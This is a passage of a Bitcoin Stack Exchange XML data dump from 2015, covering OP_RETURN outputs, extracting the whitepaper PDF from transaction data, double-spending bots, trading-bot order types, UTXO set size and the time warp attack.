  <row Id="35960" PostTypeId="2" ParentId="35958" CreationDate="2015-02-09T10:04:21.870" Score="1" Body="&lt;p&gt;The script is simply (so to speak) taking a raw transaction and splicing in a hexadecimal number which represents an additional Tx output. So it's looking for &lt;em&gt;ffffffff&lt;/em&gt; (&lt;em&gt;sequence&lt;/em&gt;) and appending &lt;code&gt;6a&lt;/code&gt; &lt;code&gt;hex encoding of your msg&lt;/code&gt; (up to 20 bytes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message needs converting to hex (which the code does).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code works fine for me, although I've yet to try broadcasting. Based on your quoted error &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;I get the error (from the Blockchain.info broadcast API): Exception: None Standard Script Output OP_RETURN 594f4c4f53574147&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'd have to say BCI is reacting to the&lt;code&gt;MessageLen&lt;/code&gt; part of the code. There should be an &lt;code&gt;OP_PUSHDATA1&lt;/code&gt; (&lt;code&gt;0x4c&lt;/code&gt;) between &lt;code&gt;OP_RETURN&lt;/code&gt; (&lt;code&gt;0x6a&lt;/code&gt;) and the 1 byte msg length, &lt;code&gt;0x08&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try: &lt;code&gt;6a4c08594f4c4f53574147&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, try another service to push the raw Tx, eg:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://insight.bitpay.com/tx/send&quot; rel=&quot;nofollow&quot;&gt;https://insight.bitpay.com/tx/send&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://brainwallet.github.io/#tx&quot; rel=&quot;nofollow&quot;&gt;https://brainwallet.github.io/#tx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-02-10T23:19:49.453" LastActivityDate="2015-02-10T23:19:49.453" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35961" PostTypeId="1" CreationDate="2015-02-09T13:42:22.150" Score="2" ViewCount="738" Body="&lt;p&gt;Been trawling through a lot of information (I know this similar issue has probably come up a fair bit) on this issue and going round in circles a bit. I am not the most tech savvy individual, and would be really grateful if someone could has some advice that could save me time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is where I am at:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a Mac running OSX 10.9.2&lt;/li&gt;&#xA;&lt;li&gt;I have downloaded and installed the Bitcoin-QT. The synching process was just getting started and I have subsequently quit the application and downloaded the &lt;code&gt;bootstrap.dat&lt;/code&gt; file - this torrent is currently downloading via the Deluge application.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thinking ahead, I have read a bit about where to place this dat file once it has downloaded. For starters, I cannot seem to locate the &lt;code&gt;~/Library/Application Support/Bitcoin/&lt;/code&gt; on my mac? and I also tried the &lt;code&gt;/Users/username/Library/Application Support/Bitcoin&lt;/code&gt; but could not find anything. From selecting the 'Show Package Contents' for the Bitcoin-QT application itself, should I be creating a folder in here manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd massively grateful for any tips.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John&lt;/p&gt;&#xA;" OwnerUserId="23286" LastEditorUserId="2306" LastEditDate="2015-02-20T06:23:29.243" LastActivityDate="2024-03-28T20:05:35.680" Title="Bootstrap.dat on Mac OSX 10.9 - Difficulty" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35965" PostTypeId="2" ParentId="799" CreationDate="2015-02-09T18:00:12.870" Score="3" Body="&lt;p&gt;Bootstrapping will be deprecated as of the 0.10 release in a few weeks. The torrent file mentioned in other answers will never be updated again because it is faster to have Bitcoin Core sync over the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So no need to download the Blockchain seperately anymore!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the release notes here &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.10/doc/release-notes.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/0.10/doc/release-notes.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11946" LastEditorUserId="11946" LastEditDate="2015-02-09T18:06:04.627" LastActivityDate="2015-02-09T18:06:04.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35968" PostTypeId="1" CreationDate="2015-02-09T19:51:34.287" Score="0" ViewCount="895" Body="&lt;p&gt;I have two wallets: one in coinbase and one in blockchain.info. I imported several outside addresses(created in bitaddress.org) in my blockchain.info wallet. However, sometimes when I transfer bitcoins from my coinbase wallet to my blockchain.info wallet, the transaction is followed by several (usually two) transactions within my blockchain.info addreses (in the same wallet). As if the money is being bounced off within the addresses inside the wallet. Is there any reason for this?&lt;/p&gt;&#xA;" OwnerUserId="23288" LastActivityDate="2015-05-26T07:54:34.247" Title="Multiple bitcoin transactions between addresses in the same wallet" Tags="|blockchain.info|coinbase.com|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35969" PostTypeId="2" ParentId="18540" CreationDate="2015-02-09T19:55:19.690" Score="2" Body="&lt;p&gt;To create an exchange, you essentially need 4 entities, each one may be composed or one or more sub-entities, but in general the 4 roles do not overlap.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Someone to fund the process for paying salaries of 2, 3 and 4 below. (I am assuming you are this).  &lt;/li&gt;&#xA;&lt;li&gt;Someone to create the front-end (skills depending on how fancy you want it to look). &lt;/li&gt;&#xA;&lt;li&gt;Someone to create the back-end (the database layer, order matching engine, wallets, deposits, withdrawals, etc). This person/team needs to have detailed knowledge of Bitcoin. &lt;/li&gt;&#xA;&lt;li&gt;Someone to handle the financial and legal aspects, getting licenses etc. This one needs good connections (apart from the ones of 1.), knowledge of regulations and laws.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thats for creating it. Once you have it running, you will need people from 2 and 3 to maintain it and another one to additionally handle fiat transactions and to top up the hot-wallets. Needless to say this person must be extremely trusted. &lt;/p&gt;&#xA;" OwnerUserId="2075" LastActivityDate="2015-02-09T19:55:19.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35970" PostTypeId="2" ParentId="35959" CreationDate="2015-02-09T20:21:40.270" Score="32" Body="&lt;p&gt;This is a fun little puzzle on the blockchain, basically. First, you need to know a little about pdf's and how they're structured, which you can find &lt;a href=&quot;http://partners.adobe.com/public/developer/en/pdf/PDFReference.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Second, you'll note from section 3.4.1 that all pdf's start with this string:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;%PDF-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In hex, that is &lt;code&gt;255044462d&lt;/code&gt;. And indeed that is in the very first output in the very first bare multisig pubkey:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;e4cf0200&amp;gt;&amp;lt;067daf13&amp;gt;**255044462d**312e340a25c3a4c3bcc3b6c39f0a322030206f626a0a3c3c2f4c656e6774682033203020522f46696c7465722f466c6174654465&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I haven't figured out what the first 8 bytes are for (♦&lt;strong&gt;edit&lt;/strong&gt;: &lt;code&gt;e4cf0200067daf13 = 2x 4byte little Endian &amp;quot;checksums&amp;quot;, see @WizardOfOzzie comment below&lt;/code&gt;), but the rest of the bare multisig keys (everything in between 1 and 3 OP_CHECKMULTISIG in each output -- note the last one is a 1 of 1, so it's 1 OP_CHECKMULTISIG) are pieces of data for the pdf and they are in order. If you can put all the hex digits of the bare multisig keys into a single file (no whitespaces) called &amp;quot;fromblockchain.hex&amp;quot;, you can run this very simple program to extract the pdf:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;contents = open('fromblockchain.hex').read()&#xA;bytes = contents[16:].decode('hex')&#xA;f = open(&amp;quot;bitcoin.pdf&amp;quot;)&#xA;f.write(bytes)&#xA;f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This should create a bitcoin.pdf which is the actual satoshi whitepaper. I've tested this and indeed it is the whitepaper. Good to know it's literally in the blockchain.&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, if you have bitcoind running on your machine, you can run this python script to grab the bitcoin whitepaper:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import subprocess&#xA;&#xA;# raw = full hex of raw Tx using Bitcoin-cli&#xA;raw = subprocess.check_output([&amp;quot;bitcoin-cli&amp;quot;, &amp;quot;getrawtransaction&amp;quot;, &amp;quot;54e48e5f5c656b26c3bca14a8c95aa583d07ebe84dde3b7dd4a78f4e4186e713&amp;quot;])&#xA;&#xA;outputs = raw.split(&amp;quot;0100000000000000&amp;quot;)&#xA;&#xA;pdf = &amp;quot;&amp;quot;&#xA;for output in outputs[1:-2]:&#xA;    # there are 3 65-byte parts in this that we need&#xA;    cur = 6&#xA;    pdf += output[cur:cur+130].decode('hex')&#xA;    cur += 132&#xA;    pdf += output[cur:cur+130].decode('hex')&#xA;    cur += 132&#xA;    pdf += output[cur:cur+130].decode('hex')&#xA;&#xA;pdf += outputs[-2][6:-4].decode(&amp;quot;hex&amp;quot;)&#xA;f = open(&amp;quot;bitcoin.pdf&amp;quot;, &amp;quot;wb&amp;quot;)&#xA;f.write(pdf[8:-8])&#xA;f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Finally checking checksum&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sha256sum bitcoin.pdf&#xA;b1674191a88ec5cdd733e4240a81803105dc412d6c6708d53ab94fc248f4f553  bitcoin.pdf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23123" LastEditorUserId="-1" LastEditDate="2021-01-22T21:03:12.007" LastActivityDate="2021-01-22T21:03:12.007" CommentCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="35971" PostTypeId="1" AcceptedAnswerId="35972" CreationDate="2015-02-09T20:30:15.267" Score="2" ViewCount="635" Body="&lt;p&gt;As you all know it's not very secure to send bitcoins on known addresses, some bots are watching.&#xA;Could someone explain me how these bots manage to propagate several transactions of the very same transaction output in the network (ex &lt;a href=&quot;https://blockchain.info/fr/address/1HZwkjkeaoZfTSaJxDw6aKkxp45agDiEzN&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/fr/address/1HZwkjkeaoZfTSaJxDw6aKkxp45agDiEzN&lt;/a&gt;)&#xA;It appears there is a competition between at least 3 bots on the previous address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For fun, I try to code a C# app building+broadcasting transaction as soon as bitcoins are received on the watched address. No chance at all. Bitcoind/blockchaininfo says this output is already spent (only 2 s after receiving it). So if there is a mechanism which prevents to add multiple transactions on the same output (before any confirmation), how did current bots do that (1LdUHTEVxWJhrhKfy4H3VuYDnTHQVjsdBn  &amp;amp;&amp;amp; 1aa8hSJaxa2jKFtuBYp8VBsFNofsnoBHX)???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it seems that  1LdUHTEVxWJhrhKfy4H3VuYDnTHQVjsdBn is almost always the winner!&lt;/p&gt;&#xA;" OwnerUserId="23289" LastActivityDate="2015-02-09T20:52:03.983" Title="Double spend / bitcoin Bots" Tags="|bots|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35972" PostTypeId="2" ParentId="35971" CreationDate="2015-02-09T20:40:50.143" Score="1" Body="&lt;p&gt;Unless we can see exactly where the bots are operating and exactly how the propagate their transactions, we'll never know exactly how one bot wins over another on addresses where the private key is known. However, we can guess on how they win:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;These bots are run by miners. As soon as they get a transaction that outputs to a known address, they immediately create a transaction that spends the output to one of their addresses. If they happen to mine that block, the output is theirs. If not, they can still propagate the transaction and hope to get the output anyway.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The bots run on really well-connected nodes. Multiple bots spending the same output is essentially a double-spend. In a double-spending situation, the better connected and faster propagating will win (in the absence of the above). It's possible someone has direct connections to the most well connected nodes and can propagate such transactions very quickly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My guess is on #1, though it's hard to say for sure. If it is #2, it's possible it's a well known website like blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, we're speculating, but you, as an independent node without any special relationships to miners or large nodes, stand no chance of winning over either #1 or #2.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-09T20:40:50.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35973" PostTypeId="1" AcceptedAnswerId="35975" CreationDate="2015-02-09T20:41:59.990" Score="1" ViewCount="781" Body="&lt;p&gt;Recently I recieved &lt;strong&gt;$500 USD&lt;/strong&gt; in credits for trading with &lt;strong&gt;Coinsetter&lt;/strong&gt;, a NYC based bitcoin exchange, so I decided to use them and coded a bitcoin trading bot for myself (never have done such thing before); The problem I'm having right now is that my bot seem to be &quot;buying higher, selling lower&quot; and I don't know why, you see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go to the bot's logs, I get something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mhyDi.png&quot; alt=&quot;bot_log&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prices shown there are the prices at which the &lt;strong&gt;market order&lt;/strong&gt; is requested, (giving an invalid price as an argument for the API request supposedly results in a failed order, so I request the &lt;strong&gt;live price&lt;/strong&gt; first from coinsetter &lt;strong&gt;twice&lt;/strong&gt; before I do a buy/sell operation); BUT if we go to the coinsetter transaction history we have this instead:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6v9lZ.png&quot; alt=&quot;coinseter_history&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So everytime I do a BUY I pump up the market, and every time I do a sell I dump it, how can this be avoided? I'd prefer buying at the lower prices and selling at the higher ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Another question would be: What you think is the real price at which I'm buying/selling? The price I REQUEST or the price coinsetter tells me at it's history?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your advice.&lt;/p&gt;&#xA;" OwnerUserId="23290" LastEditorUserId="2306" LastEditDate="2015-02-09T21:28:35.000" LastActivityDate="2015-02-09T21:28:35.000" Title="How to avoid price pumps &amp; dumps when trading with bot?" Tags="|exchanges|trading|bots|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35975" PostTypeId="2" ParentId="35973" CreationDate="2015-02-09T21:00:49.027" Score="2" Body="&lt;p&gt;In a normal exchange, you have an order book of buys and sells. Usually, they don't cross over, that is, if the highest buy is 219, the lowest sell will be higher than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're doing is buying at market (aka market order) so any buys you do simply match the lowest sell and any sells you do simply match the highest buy. Whenever the two cross, they are simply filled by each other, so the gap will be there 99% of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do if you want to avoid this is to use limit orders. Generally, though, you have to wait for them to fill as you need price movement in order for that to happen.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-02-09T21:00:49.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35976" PostTypeId="1" AcceptedAnswerId="36149" CreationDate="2015-02-09T22:26:42.230" Score="0" ViewCount="240" Body="&lt;p&gt;I installed electrum a while back and noted down the 12 word seed. Haven't used it for a few months, but now when I go to view my seed (clicking on the seed icon on the bottom right of the GUI), it asks for my password, and then the dialogue says: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Your wallet generation seed is:&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the text box below is completely empty, underneath which it says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Please write down or memorize these 0 words (order is important)...&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit concerned my seed seems to have vanished. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="7561" LastActivityDate="2015-03-08T03:41:00.267" Title="Electrum: seed is 0 length / empty" Tags="|electrum|seed|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35977" PostTypeId="2" ParentId="35922" CreationDate="2015-02-10T03:19:40.660" Score="2" Body="&lt;p&gt;The p2pool sharechain and the bitcoin blockchain operate similarly, but independently. I do not believe there is any requirement that a &quot;real&quot; block be accepted into the p2pool sharechain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I think you are really concerned about is that the p2pool nodes may see a &quot;real&quot; block and not do their part to get it into the blockchain so that everyone gets paid. On that account you can rest assured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the source code, have a look at p2pool/node.py (&quot;&lt;code&gt;GOT BLOCK FROM PEER! Passing to bitcoind!&lt;/code&gt;&quot;) and p2pool/work.py (&quot;&lt;code&gt;GOT BLOCK FROM MINER! Passing to bitcoind!&lt;/code&gt;&quot;) Regardless of whether the new bitcoin block ends up in the p2pool sharechain, all nodes who become aware of the block relay it to bitcoind to help get it in the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="10654" LastActivityDate="2015-02-10T03:19:40.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35978" PostTypeId="1" AcceptedAnswerId="35988" CreationDate="2015-02-10T04:41:07.527" Score="5" ViewCount="355" Body="&lt;p&gt;One of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Generate_.22valid.22_blocks_with_a_lower_difficulty_than_normal&quot; rel=&quot;nofollow noreferrer&quot;&gt;weaknesses&lt;/a&gt; of bitcoin listed on that wiki is that it was once vulnerable to the time warp attack. This attack lets a miner with &gt;50% of the hash power to solve many more blocks in a short amount of time, essentially gaining a higher than appropriate reward. &lt;em&gt;It can also be used to create a chain that is extremely long very quickly while keeping the difficulty low.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Was the time warp attack the only reason it was not safe to compare chains by length?&lt;/strong&gt; Asked a different way, if the time warp bug was fixed in bitcoin, would comparing chains by length always produce the same result as comparing by work done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relevant: Theymos suggests in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/29744/18196&quot;&gt;this answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Satoshi didn't initially realize that choosing the correct chain by just counting blocks allows for some extremely easy attacks. Version 0.1 just counted blocks. That's why the paper just says &quot;longest&quot;. The idea of &quot;chain work&quot; was added a little later.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-02-10T22:00:20.890" Title="Was the time warp attack the only reason it was not safe to compare chains by length?" Tags="|time-warp-attack|chainwork|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35979" PostTypeId="1" CreationDate="2015-02-10T08:12:37.900" Score="0" ViewCount="188" Body="&lt;p&gt;Downloaded the latest bitcoin core tar ball 0.9.3.&#xA;New install for test and development. This thread relates only to the TESTNET, I haven't tried on the production network.&#xA;When launching the bitcoind everything works as expected until it reaches block at 26859 where it stops adding blocks. Nothing happens after no more blocks are requested.&#xA;After some debugging, it appears that the next block 26860 contains a transaction that fails verification, so it won't validate the block. These blocks (that are failing) are more than 2 years old, but I didn't expect to hit this hurdle so early in the game. Can anybody shed some light ? Am I doing something wrong here? DOwnloaded the bitcoin tar from the official web site and checked the signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can easily reproduce this on the testnet network.&#xA;Any help appreciated.&lt;/p&gt;&#xA;" OwnerUserId="23296" LastActivityDate="2015-02-11T06:09:43.997" Title="bitcoin-0.9.3 won't syncup on TESTNET stuck at height 26859" Tags="|bitcoind|testnet|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35980" PostTypeId="1" AcceptedAnswerId="35987" CreationDate="2015-02-10T16:54:41.210" Score="28" ViewCount="12773" Body="&lt;p&gt;Is there a query that will return the size of the UTXO database? Specifically, the total number of unspent outputs.&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2024-04-01T18:12:34.293" Title="How big is the UTXO database?" Tags="|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35982" PostTypeId="2" ParentId="9615" CreationDate="2015-02-10T18:29:44.627" Score="2" Body="&lt;p&gt;By default, Bitcoin-QT will generate new addresses to mine to.  If you use the Encrypt Wallet feature, it appears to always mine to the same address instead, but it's still not user-selectable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do want to CPU mine to a specific address (e.g. for testing on the RegTest mode), you can use mining software like &lt;a href=&quot;https://bitcointalk.org/index.php?topic=55038.0&quot; rel=&quot;nofollow&quot;&gt;cpuminer/minerd&lt;/a&gt; in &quot;solo mining&quot; mode to do so.&lt;/p&gt;&#xA;" OwnerUserId="18358" LastActivityDate="2015-02-10T18:29:44.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35983" PostTypeId="1" AcceptedAnswerId="35985" CreationDate="2015-02-10T19:13:28.190" Score="6" ViewCount="8252" Body="&lt;p&gt;Is this possible using some clever bitcoin script? The intention is to get more privacy. I can give different addresses to different people still no one can guess how much I make in total. I can do this by generating several key pairs but I will have to save all the private keys somewhere. If I can come up with a way to generate multiple addresses, I will have to save guard only one private key.&lt;/p&gt;&#xA;" OwnerUserId="23302" LastActivityDate="2017-12-25T13:23:03.467" Title="Can same private key generate multiple addresses?" Tags="|private-key|privacy|address-generation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35984" PostTypeId="2" ParentId="35983" CreationDate="2015-02-10T19:31:55.720" Score="2" Body="&lt;p&gt;What you are looking for are &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;Hierarchical Deterministic Wallets&lt;/a&gt;. You can create one for example with the &lt;a href=&quot;https://en.bitcoin.it/wiki/Electrum&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see the tags &lt;a href=&quot;/questions/tagged/deterministic&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'deterministic'&quot; rel=&quot;tag&quot;&gt;deterministic&lt;/a&gt; and &lt;a href=&quot;/questions/tagged/electrum&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged 'electrum'&quot; rel=&quot;tag&quot;&gt;electrum&lt;/a&gt; here on Bitcoin.StackExchange.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-02-10T19:31:55.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35985" PostTypeId="2" ParentId="35983" CreationDate="2015-02-10T19:32:26.153" Score="9" Body="&lt;p&gt;One private key maps onto two addresses - one that uses an uncompressed public key, and one that uses a compressed public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you might also be interested in is &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot;&gt;a deterministic wallet&lt;/a&gt; - a Bitcoin wallet holding multiple addresses generated from one private key / secret. This will let you secure multiple addresses and store only one key.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-02-10T19:32:26.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35986" PostTypeId="1" AcceptedAnswerId="35990" CreationDate="2015-02-10T21:01:23.043" Score="2" ViewCount="741" Body="&lt;p&gt;I am trying to understand why there are numerous days in Bitcoin's history that show huge transaction spikes.  See &lt;a href=&quot;https://blockchain.info/charts/transaction-fees?timespan=all&amp;amp;showDataPoints=false&amp;amp;daysAverageString=1&amp;amp;show_header=true&amp;amp;scale=0&amp;amp;address=&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blockchain.info chart&lt;/a&gt;. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/53thA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Jan 10th, 2012 spike is due to a mistake by &lt;a href=&quot;https://bitcointalk.org/index.php?topic=135665.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;this guy&lt;/a&gt;.  I can't explain the other spikes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these spikes mostly or all due to human error? Or are they some other indicator, possibly market value, global usage or popularity?  Maybe some think that paying a high fee is supporting the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://blockchain.info/charts/n-transactions-total&quot; rel=&quot;nofollow noreferrer&quot;&gt;number of transactions&lt;/a&gt; can obfuscate the actual worldwide usage due to things like mixing services, automated transactions, spam.  Maybe the fees spent can rule those out and show the global adoption rate assuming those types of transactions would avoid fees as much as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus points if you happen to know &lt;em&gt;what&lt;/em&gt; specifically caused any one of these individual spikes.  Having a list would benefit Bitcoin history story telling.&lt;/p&gt;&#xA;" OwnerUserId="6375" LastEditorUserId="6375" LastEditDate="2015-02-22T19:36:07.320" LastActivityDate="2021-04-21T02:41:07.353" Title="Are the huge transaction fees mostly mistakes or some other market indicator?" Tags="|transaction-fees|charts|market|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35987" PostTypeId="2" ParentId="35980" CreationDate="2015-02-10T21:06:11.933" Score="30" Body="&lt;p&gt;Bitcoin Core provides the &lt;a href=&quot;https://developer.bitcoin.org/reference/rpc/gettxoutsetinfo.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;gettxoutsetinfo&lt;/code&gt; RPC&lt;/a&gt; that has exactly the information you want.  Note, it takes that call up to a minute or two to run (and maybe longer as the UTXO set keeps growing).&lt;/p&gt;&#xA;&lt;p&gt;Here's what my node says right now:&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-json prettyprint-override&quot;&gt;&lt;code&gt;{&#xA;  &amp;quot;height&amp;quot;: 763253,&#xA;  &amp;quot;txouts&amp;quot;: 84683939,&#xA;  &amp;quot;bogosize&amp;quot;: 6314836827,&#xA;  &amp;quot;total_amount&amp;quot;: 19207623.41689598,&#xA;  &amp;quot;transactions&amp;quot;: 50344458,&#xA;  &amp;quot;disk_size&amp;quot;: 5185703215&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Current and historical data may be found on Statoshi.info's &lt;a href=&quot;https://statoshi.info/d/000000009/unspent-transaction-output-set&quot; rel=&quot;nofollow noreferrer&quot;&gt;UTXO page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="34190" LastEditDate="2024-04-01T18:12:34.293" LastActivityDate="2024-04-01T18:12:34.293" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="35988" PostTypeId="2" ParentId="35978" CreationDate="2015-02-10T22:00:20.890" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If the time warp bug was fixed in bitcoin, would comparing chains by length always produce the same result as comparing by work done?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.  It's easy to create a chain with more chainwork but fewer blocks.  For example, lets say we have a chain with 2,016 difficulty 1 blocks.  This chain is created in 20,160 minutes so the difficulty doesn't change next period, meaning that by block 4,032 we have 4032diff chainwork:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  2016 *  diff1 == 2016diff&#xA;+ 2016 *  diff1 == 2016diff&#xA;--------------------------&#xA;  4032 blocks with 4032diff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then somebody mines an alternative chain with mining equipment that's 4 times faster, producing the first 2,016 blocks in 5,040 minutes.  Difficulty increases to 4 and by block 2,521 this chain has more chain work but less blocks than the first-described chain.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  2016 *  diff1 == 2016diff&#xA;+  505 *  diff4 == 2020diff&#xA;--------------------------&#xA;  2521 blocks with 4036diff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume you're more interested in practical attacks against Bitcoin's mainnet chain if that chain still used longest-is-best logic.  Here's an easy one:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The Genesis Block is dated 3 January 2009.  If you mined only difficulty 1 blocks from then until now (144 blocks a day), you'd have about &lt;code&gt;(144*365*6)+(30*144)==319680&lt;/code&gt; blocks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &quot;real&quot; block chain has 342,908 blocks, a 23,228 